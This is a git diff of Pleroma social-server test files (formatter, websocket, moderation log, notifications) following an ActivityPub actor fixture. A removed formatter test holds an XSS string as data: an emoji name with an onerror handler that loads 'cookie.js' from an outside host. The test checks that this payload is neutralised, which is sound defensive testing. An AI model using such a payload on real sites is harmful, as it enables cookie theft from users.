{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"Hashtag":"as:Hashtag"}],"type":"Person","id":"https://skippers-bin.com/users/7v1w1r8ce6","inbox":"https://skippers-bin.com/users/7v1w1r8ce6/inbox","outbox":"https://skippers-bin.com/users/7v1w1r8ce6/outbox","followers":"https://skippers-bin.com/users/7v1w1r8ce6/followers","following":"https://skippers-bin.com/users/7v1w1r8ce6/following","featured":"https://skippers-bin.com/users/7v1w1r8ce6/collections/featured","sharedInbox":"https://skippers-bin.com/inbox","endpoints":{"sharedInbox":"https://skippers-bin.com/inbox"},"url":"https://skippers-bin.com/@sjw","preferredUsername":"sjw","name":"It's ya boi sjw :verified:","summary":"<p><span>Admin of skippers-bin.com and neckbeard.xyz<br>For the most part I'm just a normal user. I mostly post animu, lewds, may-mays, and shitposts.<br><br>Not an alt of </span><a href=\"https://skippers-bin.com/@sjw@neckbeard.xyz\" class=\"mention\">@sjw@neckbeard.xyz</a><span> but another main.<br><br>Email/XMPP: neckbeard@rape.lol<br>PGP: d016 b622 75ba bcbc 5b3a fced a7d9 4824 0eb3 9c4e</span></p>","icon":{"type":"Image","url":"https://skippers-bin.com/files/webpublic-21b17f5b-3a83-4f50-8d4f-eda92066aa26","sensitive":false},"image":{"type":"Image","url":"https://skippers-bin.com/files/webpublic-1cd7f961-421e-4c31-aa03-74fb82584308","sensitive":false},"tag":[{"id":"https://skippers-bin.com/emojis/verified","type":"Emoji","name":":verified:","updated":"2019-07-12T02:16:12.088Z","icon":{"type":"Image","mediaType":"image/png","url":"https://skippers-bin.com/files/webpublic-dd10b435-6dad-4602-938b-f69ec0a19f2c"}}],"manuallyApprovesFollowers":false,"publicKey":{"id":"https://skippers-bin.com/users/7v1w1r8ce6/publickey","type":"Key","owner":"https://skippers-bin.com/users/7v1w1r8ce6","publicKeyPem":"-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAvmp71/A6Oxe1UW/44HK0juAJhrjv9gYhaoslaS9K1FB+BHfIjaE9\n9+W2SKRLnVNYNFSN4JJrSGhX5RUjAsf4tcdRDVcmHl7tp2sgOAZeZz5geULm2sJQ\nwElnGk34jT/xCfX+w/O+7DuX31sU7ZK0B2P7ulNGDQXhrzVO0RMx7HhNcsFcusno\n3kmPyyPT1l+PbM2UNWms599/3yicKtuOzMgzxNeXvuHYtAO19txyPiOeYckQOMmT\nwEVIxypgCgNQ0MNtPLPKQTwOgVbvnN7MN+h3esKeKDcPcGQySkbkjZPaVnA6xCQf\nj58c19wqdCfAS4Effo5/bxVmhLpe0l9HYpV7IMasv2LhFntmSmAxBQzhdz0oTYb1\naNqiyfZdClnzutOiKcrFppADo4rZH9Z1WlPHapahrKbF0GRPN8DjSUsoBxfY9wZs\ntlL056hT4o+EFHYrRGo7KP6X/6aQ9sSsmpE08aVpVuXdwuaoaDlW1KrJ0oOk4lZw\nUNXvjEaN3c+VQAw2CNvkAqLuwrjnw7MdcxEGodEXb6s8VvoSOaiDqT7cexSaZe0R\nliCe/3dqFXpX1UrgRiryI4yc1BrEJIGTanchmP2aUJ2R2pccFsREp23C3vMN3M5b\nHw7fvKbUQHyf6lhRoLCOSCz1xaPutaMJmpwLuJo4wPCHGg9QFBYsqxcCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"},"isCat":true}

View file

@ -1,47 +0,0 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FlakeIdTest do
use Pleroma.DataCase
import Kernel, except: [to_string: 1]
import Pleroma.FlakeId
describe "fake flakes (compatibility with older serial integers)" do
test "from_string/1" do
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
assert from_string("42") == fake_flake
assert from_string(42) == fake_flake
end
test "zero or -1 is a null flake" do
fake_flake = <<0::integer-size(128)>>
assert from_string("0") == fake_flake
assert from_string("-1") == fake_flake
end
test "to_string/1" do
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
assert to_string(fake_flake) == "42"
end
end
test "ecto type behaviour" do
flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>>
flake_s = "9eoozpwTul5mjSEDRI"
assert cast(flake) == {:ok, flake_s}
assert cast(flake_s) == {:ok, flake_s}
assert load(flake) == {:ok, flake_s}
assert load(flake_s) == {:ok, flake_s}
assert dump(flake_s) == {:ok, flake}
assert dump(flake) == {:ok, flake}
end
test "is_flake_id?/1" do
assert is_flake_id?("9eoozpwTul5mjSEDRI")
refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b")
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FormatterTest do
@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do
text = "I love #cofe and #2hu"
expected_text =
"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do
text = "#fact_3: pleroma does what mastodon't"
expected_text =
"<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social/@lambadalambda"
expected =
"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social:4000/@lambadalambda"
expected =
"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do
assert {^expected, [], []} = Formatter.linkify(text)
text = "http://www.cs.vu.nl/~ast/intel/"
expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
expected =
~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
expected =
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://pleroma.com https://pleroma.com/sucks"
expected =
"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
"<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "xmpp:contact@hacktivis.me"
expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text =
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
expected = "<a href=\"#{text}\">#{text}</a>"
expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
assert {^expected, [], []} = Formatter.linkify(text)
end
@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 3
expected_text =
"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{
gsimg.ap_id
}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
}" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{
archaeme.id
}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
}" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{
archaeme_remote.id
}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
}" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)
assert expected_text == text
end
@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{
mike.ap_id
}" rel="ugc">@<span>mike</span></a></span> test)
assert expected_text == text
end
@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)
assert expected_text == text
end
@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do
assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
assert expected_text ==
"<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
user.ap_id
}'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
}" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{
other_user.id
}' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
}" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{
other_user.nickname
}</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{
third_user.id
}' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
}" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{
third_user.nickname
}</span></a></span>)
end
test "given the 'safe_mention' option, it will still work without any mention" do
@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_mentions = [
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
end
describe ".parse_tags" do
@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do
end
end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_mentions = [
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.HTMLTest do

Binary file not shown.

After

Width:  |  Height:  |  Size: 95 B

View file

@ -0,0 +1,13 @@
{
"pack": {
"license": "Test license",
"homepage": "https://pleroma.social",
"description": "Test description",
"share-files": true
},
"files": {
"blank": "blank.png"
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 95 B

View file

@ -0,0 +1,16 @@
{
"pack": {
"license": "Test license",
"homepage": "https://pleroma.social",
"description": "Test description",
"fallback-src": "https://nonshared-pack",
"fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF",
"share-files": false
},
"files": {
"blank": "blank.png"
}
}

View file

@ -1,16 +1,16 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Integration.MastodonWebsocketTest do
use Pleroma.DataCase
import ExUnit.CaptureLog
import Pleroma.Factory
alias Pleroma.Integration.WebsocketClient
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.OAuth
alias Pleroma.Web.Streamer
@path Pleroma.Web.Endpoint.url()
|> URI.parse()
@ -18,14 +18,9 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|> Map.put(:path, "/api/v1/streaming")
|> URI.to_string()
setup do
GenServer.start(Streamer, %{}, name: Streamer)
on_exit(fn ->
if pid = Process.whereis(Streamer) do
Process.exit(pid, :kill)
end
end)
setup_all do
start_supervised(Pleroma.Web.Streamer.supervisor())
:ok
end
def start_socket(qs \\ nil, headers \\ []) do
@ -39,13 +34,19 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
end
test "refuses invalid requests" do
assert {:error, {400, _}} = start_socket()
assert {:error, {404, _}} = start_socket("?stream=ncjdk")
capture_log(fn ->
assert {:error, {400, _}} = start_socket()
assert {:error, {404, _}} = start_socket("?stream=ncjdk")
Process.sleep(30)
end)
end
test "requires authentication and a valid token for protected streams" do
assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
assert {:error, {403, _}} = start_socket("?stream=user")
capture_log(fn ->
assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
assert {:error, {403, _}} = start_socket("?stream=user")
Process.sleep(30)
end)
end
test "allows public streams without authentication" do
@ -67,7 +68,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
assert {:ok, json} = Jason.decode(json["payload"])
view_json =
Pleroma.Web.MastodonAPI.StatusView.render("status.json", activity: activity, for: nil)
Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil)
|> Jason.encode!()
|> Jason.decode!()
@ -100,19 +101,31 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
test "accepts the 'user' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
Process.sleep(30)
end) =~ ":badarg"
end
test "accepts the 'user:notification' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
Process.sleep(30)
end) =~ ":badarg"
end
test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])
assert {:error, {403, "Forbidden"}} =
start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} =
start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
Process.sleep(30)
end) =~ ":badarg"
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ListTest do
@ -15,6 +15,13 @@ defmodule Pleroma.ListTest do
assert title == "title"
end
test "validates title" do
user = insert(:user)
assert {:error, changeset} = Pleroma.List.create("", user)
assert changeset.errors == [title: {"can't be blank", [validation: :required]}]
end
test "getting a list not belonging to the user" do
user = insert(:user)
other_user = insert(:user)
@ -106,10 +113,10 @@ defmodule Pleroma.ListTest do
{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1)
{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2)
lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1.id)
lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1)
assert owned_list in lists_1
refute not_owned_list in lists_1
lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2.id)
lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2)
assert owned_list in lists_2
refute not_owned_list in lists_2
end

View file

@ -0,0 +1,297 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ModerationLogTest do
alias Pleroma.Activity
alias Pleroma.ModerationLog
use Pleroma.DataCase
import Pleroma.Factory
describe "user moderation" do
setup do
admin = insert(:user, info: %{is_admin: true})
moderator = insert(:user, info: %{is_moderator: true})
subject1 = insert(:user)
subject2 = insert(:user)
[admin: admin, moderator: moderator, subject1: subject1, subject2: subject2]
end
test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
subject: subject1,
action: "delete"
})
log = Repo.one(ModerationLog)
assert log.data["message"] == "@#{moderator.nickname} deleted user @#{subject1.nickname}"
end
test "logging user creation by moderator", %{
moderator: moderator,
subject1: subject1,
subject2: subject2
} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
subjects: [subject1, subject2],
action: "create"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}"
end
test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: admin,
followed: subject1,
follower: subject2,
action: "follow"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}"
end
test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: admin,
followed: subject1,
follower: subject2,
action: "unfollow"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}"
end
test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: admin,
nicknames: [subject1.nickname, subject2.nickname],
tags: ["foo", "bar"],
action: "tag"
})
log = Repo.one(ModerationLog)
users =
[subject1.nickname, subject2.nickname]
|> Enum.map(&"@#{&1}")
|> Enum.join(", ")
tags = ["foo", "bar"] |> Enum.join(", ")
assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}"
end
test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: admin,
nicknames: [subject1.nickname, subject2.nickname],
tags: ["foo", "bar"],
action: "untag"
})
log = Repo.one(ModerationLog)
users =
[subject1.nickname, subject2.nickname]
|> Enum.map(&"@#{&1}")
|> Enum.join(", ")
tags = ["foo", "bar"] |> Enum.join(", ")
assert log.data["message"] ==
"@#{admin.nickname} removed tags: #{tags} from users: #{users}"
end
test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
subject: subject1,
action: "grant",
permission: "moderator"
})
log = Repo.one(ModerationLog)
assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator"
end
test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
subject: subject1,
action: "revoke",
permission: "moderator"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}"
end
test "logging relay follow", %{moderator: moderator} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "relay_follow",
target: "https://example.org/relay"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} followed relay: https://example.org/relay"
end
test "logging relay unfollow", %{moderator: moderator} do
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "relay_unfollow",
target: "https://example.org/relay"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} unfollowed relay: https://example.org/relay"
end
test "logging report update", %{moderator: moderator} do
report = %Activity{
id: "9m9I1F4p8ftrTP6QTI",
data: %{
"type" => "Flag",
"state" => "resolved"
}
}
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "report_update",
subject: report
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} updated report ##{report.id} with 'resolved' state"
end
test "logging report response", %{moderator: moderator} do
report = %Activity{
id: "9m9I1F4p8ftrTP6QTI",
data: %{
"type" => "Note"
}
}
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "report_response",
subject: report,
text: "look at this"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} responded with 'look at this' to report ##{report.id}"
end
test "logging status sensitivity update", %{moderator: moderator} do
note = insert(:note_activity)
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "status_update",
subject: note,
sensitive: "true",
visibility: nil
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'"
end
test "logging status visibility update", %{moderator: moderator} do
note = insert(:note_activity)
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "status_update",
subject: note,
sensitive: nil,
visibility: "private"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'"
end
test "logging status sensitivity & visibility update", %{moderator: moderator} do
note = insert(:note_activity)
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "status_update",
subject: note,
sensitive: "true",
visibility: "private"
})
log = Repo.one(ModerationLog)
assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'"
end
test "logging status deletion", %{moderator: moderator} do
note = insert(:note_activity)
{:ok, _} =
ModerationLog.insert_log(%{
actor: moderator,
action: "status_delete",
subject_id: note.id
})
log = Repo.one(ModerationLog)
assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}"
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.NotificationTest do
@ -8,11 +8,11 @@ defmodule Pleroma.NotificationTest do
import Pleroma.Factory
alias Pleroma.Notification
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Streamer
alias Pleroma.Web.TwitterAPI.TwitterAPI
describe "create_notifications" do
test "notifies someone when they are directly addressed" do
@ -21,7 +21,7 @@ defmodule Pleroma.NotificationTest do
third_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname} and @#{third_user.nickname}"
})
@ -39,7 +39,7 @@ defmodule Pleroma.NotificationTest do
User.subscribe(subscriber, user)
{:ok, status} = TwitterAPI.create_status(user, %{"status" => "Akariiiin"})
{:ok, status} = CommonAPI.post(user, %{"status" => "Akariiiin"})
{:ok, [notification]} = Notification.create_notifications(status)
assert notification.user_id == subscriber.id
@ -69,16 +69,7 @@ defmodule Pleroma.NotificationTest do
end
describe "create_notification" do
setup do
GenServer.start(Streamer, %{}, name: Streamer)
on_exit(fn ->
if pid = Process.whereis(Streamer) do
Process.exit(pid, :kill)
end
end)
end
@tag needs_streamer: true
test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do
user = insert(:user)
task = Task.async(fn -> assert_receive {:text, _}, 4_000 end)
@ -184,47 +175,20 @@ defmodule Pleroma.NotificationTest do
test "it doesn't create a notification for follow-unfollow-follow chains" do
user = insert(:user)
followed_user = insert(:user)
{:ok, _, _, activity} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
